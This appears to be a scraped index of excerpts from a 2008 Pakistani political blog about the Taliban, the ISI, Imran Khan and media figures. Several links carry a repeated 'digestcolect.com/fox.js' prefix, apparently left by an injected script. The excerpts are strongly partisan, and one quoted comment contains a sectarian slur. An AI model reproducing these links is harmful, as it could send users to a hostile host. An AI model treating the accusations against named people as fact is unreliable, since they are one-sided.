Everyone at fault, except us. Why is it that everything that goes against us becomes a conspiracy?: Everyone at fault, except usIn the national interest Monday, December 15, 2008by Kamal Siddiqi The writer is editor reporting, The News One can only wonder at the collective amnesia that Pakistanis suffer, and how the various quarters are quick

10 lessons all Pakistanis must learn – By Hassan Baig: “Mulk khud hi chalta rehay ga” (approximate translation: the country doesn’t need our contribution to thrive) is a sentence many Pakistanis are prone to saying. I confess that till a few years ago, I myself was confident of this

A tribute to Nusrat Javed, the courageous anchorperson of Aaj TV’s Bolta Pakistan; What do ordinary Pakistanis think about Nusrat Javed?: On 12 December 2008, I saw Nusrat Javed at his best. Nusrat Javed and Mushtaq Minhas discussed isssues related to the Mumbai attacks. While Mushtaq Minah represents the populist, pro-Jihadi, pro-Taliban voice in

An interesting dialogue between an educated Jihadi Pakistani and an educated ordinary Pakistani…: Ghost of TK: Says:December 6th, 2008 at 10:40 pmcomment-top Islamic Crazies! The goose that lays a strategic golden egg unwittingly for its imperial masters every few decades! When will our youngsters realize that they need to educate themselves and

Between the devil (the USA) and the deep sea (Al-Qaeda and Taliban). The dilemma of Pakistani Muslims….By Abbas Ather, Asadullah Ghalib:

Mudslinging on Taseer family: Mind your language, PPP warns Rana Sanaullah: Related posts: After dirty propaganda against Taseer family, Rana Sanaullah declares them as his blood relations Dirty propaganda against Salman Taseer and his family by right-wingers and fake liberals Javed Chaudhry, the mouth piece of Taliban, writes an indecent

Abbas Ather condemns personal attacks on Salman Taseer by PML-N: Related posts: Javed Chaudhry, the mouth piece of Taliban, writes an indecent column against Salman Taseer  After dirty propaganda against Taseer family, Rana Sanaullah declares them as his blood relations Dirty propaganda against Salman Taseer and his family. What

Geo and ARY news blocked in Karachi and other urban parts of Sindh. Time for MQM as well as hostile media acnhors to pause and reflect…: Geo and ARY news blocked in Karachi and other urban parts of Sindh. Time for MQM as well as hostile media acnhors to pause and reflect… Let us listen to Khusnood Ali Khan as well as Salman Taseer: PM

Ansar Abbasi’s lies about Maulana Fazlur-Rehman and JUI: A post-mortem by Mr. Saleem: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.paklinks.com/gs/pakistan-affairs/300775-hundreds-acres-army-land-given-bribe-jui-musharraf.html Sa1eem Quote:Originally Posted by Shamraz Khan So, the truth is finally coming out. Now, we know incorruptible dictator was in fact corrupt & I think lot more is yet to come out of dirty dealings of ex dictator.

Can Imran Khan be Pakistan’s Obama? Haroon-ur-Rashid, the ex-lover of General Zia, Akhtar Abdul Rehman & Hamid Gul found his lost love in Imran Khan: Imran Khan be a hero for the right-wing parties. He is indeed the most popular leader in Pakistani Taliban, after Baitullah Mehsud. But do the people of Pakistan like him? No, A big no. A number of times, Imran

Mustafa Kamal one of the best mayors in the world: Muhajir haters are dying with jealousy: Mustafa Kamal second best mayor in the world KARACHI, Nov 9: The Foreign Policy magazine of the United States has chosen Karachi Nazim Syed Mustafa Kamal as the second among the best three mayors in the world for 2008.

A discussion: Why Imran Khan Has Failed To Lead The Nation ??: hina123 Today Pakistan is going through the most fragile time of its history. The people of Pakistan are desperately looking for a honest leader to lead them into the future. People of Pakistan have lost faith in these two

Aaj TV must apologize to Dr. Tahir-ul-Qadri. There is a fine line between the freedom of media and its abuse.: Bolta Pakistan 6-november-2008 [Nusrat Javed And Mushtaq Minhas discussing who can be a potential Obama for Pakistan] Mushtaq Minhas: I recalled another [Pakistani] Obama. Do not try to make fun of me now. Do you remember there used to

The election of Obama and the future of US-Muslim relations – an interesting debate between a right-wing Pakistani and a left-wing Pakistani: we_are_nuts Says:November 6th, 2008 It is amazing that nut jobs remain nut jobs be it from the East or the West. The problem with Pakistan as i have been professing on this site since pre-Zardaro era is not USA/West/Israel/India

In defense of Aitzaz Ahsan: What do ordinary Pakistanis think?: gditpp Says:November 3rd, 2008 The depth of hatred of right wing urban central punjab against BB is amazing. Of 30 years of her political life she was in power for only five years. Compare it with 15 years of

How does an ordinary Pakistani citizen feel about democracy, terrorism, Taliban and Pakistan? A glimpse: PROTEST IN LONDON I am not supporting this protest mainly led by Imran Khan. Pakistan has an elected government in the fairest election ever in the history of Pakistan with a massive turnout against all the odds and the

Ali Ahmed Kurd, the SCBA elections, some perspectives… by Abbas Ather and other analysts: The Vote Count In the 2007 SCBA elections, the candidate opposing Aitzaz Ashan secured only 175 votes. In the 2008

The missing persons in Pakistan and the supporters of Taliban in Pakistani media and politics…: SOME COMMENTS Is there no possibility that the majority of missing might have joined the cause of the taliban and fighting for them and are not allowed to returm. Some of them might have been killed. Some could have

Pakistan’s ex-spymaster outlines Taliban demands: General Hamid Gul (ex-ISI chief) is the ugly face of Al-Qaeda in Pakistan: Afghanistan: Hamid Gul outlines Taliban demands (AKI) The Taliban will agree to peace talks if they are recognised as a political force, if a date is set for the withdrawal of international forces, and if Taliban prisoners are released,

ISI Rogues, Real or Imagined?: Friday, August 1, 2008 http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.riazhaq.com/2008/08/isi-rogues-real-or-imagined.html Pakistan’s Inter-Services Intelligence (ISI) was alleged to be involved in the recent deadly bombing of the Indian embassy in Kabul, Afghanistan, according to a report in the New York Times. In response to the

Imran Khan’s double-tongue in Australia: Terrorists will never attack cricketers because public will just turn against them!: In his recent interview with an Australian News Agency, Imran Khan claimed that cricketers would never be under any threat from terrorists…Terrorists rely on support from the masses because that’s where they get their recruits, and cricket is a

Time for Sunni-Shia unity: An interesting debate between a tolerant Musilm and a sectarian Taliban apologist: Traffic Says: i bet this molvi (Hamid Saeed Kazimi) is shia, like that other munafiq aamir liaqat hussain who has keeps his faith hidden on his tv-show but gets filmed cursing the sahabah in a shia majlis. shame on

Taliban Besiege Pakistani Shiites in Parachinar: The New York Times Report PESHAWAR, Pakistan — It was once known as the Parrot’s Beak, a strategic jut of Pakistan that the American-backed mujahedeen used to carry out raids on the Russians just over the border into Afghanistan.

State supporting the Taliban and Al-Qaeda in the siege of Parachinar: There is ample evidence that certain pro-Taliban elements in the State of Pakistan are supporting the siege of innocent people of Parachinar by the Taliban and Al-Qaeda terrorists. The Shia and Sunni population of Parachinar is being punished because

Why does not Imran Khan condemn terrorist activities by the Taliban and Al-Qaeda?: Why does not Imran Khan condemn terrorist activities by the Taliban and Al-Qaeda? Is he being blackmailed by Mullahs for his

ISI in question: Some comments by ordinary Pakistani citizens: By Jamshed Khan: The problem in Baluchistan, FATA and Swat is very simple. Pakistan is ruled by ISI and Military. 95 % of the Army is Punjabi and the rest urdu speakers MQM. Punjab elites and ISI has colonized

Imran Khan’s PTI Waziristan supports Baitullah Mehsud: Mehsud visits parts of S.Waziristan Updated at: 2050 PST, Thursday, October 02, 2008 WANA: Supreme commander of the banned outfit Tehreek-i-Taliban Pakistan, Baitullah Mehsud visited different area of South Waziristan on Thursday. According to Taliban sources, Meshsud visited Makeen,

Doublecross: Musharraf and Pakistan Army’s ambiguous stance toward Al-Qaeda and Taliban-: According to the US-based Pew Research Centre’s Global Attitudes Project, the number of Muslims globally supporting suicide attacks and Al Qaeda chief Osama bin Laden has fallen sharply in the past six years. But the think tank still has

Pro-Taliban journalist Ansar Abbasi with his usual venom again…: Notorious pro-Taliban journalist of the Jang Group (The News), Ansar Abbasi “reveals” that the terrorist attack on Islamabad Marriot was “in fact” targeted on US Marines, who were on a secret mission and had shifted a truckload of steel

Zulfikar Ali Bhutto slaps General Zia and Ziaists from his grave – by Hasan Nisar: …. Tariq Ali’s interview on General Zia and Bhutto (BBC Urdu) Part 1: Part 2: Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&fanonite.org/2007/12/29/tariq-ali-on-zia-and-bhutto-bbc-urdu/ Tariq Ali is speaking about his play, The Leopard and the Fox commissioned initially by the BBC. The play dealt with the